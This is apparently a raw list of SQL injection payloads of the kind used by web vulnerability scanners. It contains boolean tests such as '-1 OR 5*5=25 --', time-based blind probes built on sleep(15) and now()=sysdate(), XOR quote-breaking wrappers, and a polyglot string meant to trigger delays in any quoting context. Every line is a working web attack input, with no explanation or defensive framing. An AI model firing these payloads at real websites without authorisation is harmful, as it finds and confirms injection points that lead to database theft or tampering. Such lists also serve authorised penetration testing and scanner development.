1

*1

*1

-1 OR 5*5=25 --

-1 OR 5*5=26 --

-1 OR 5*5=25

-1 OR 5*5=26

*if(now()=sysdate(),sleep(15),0)

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/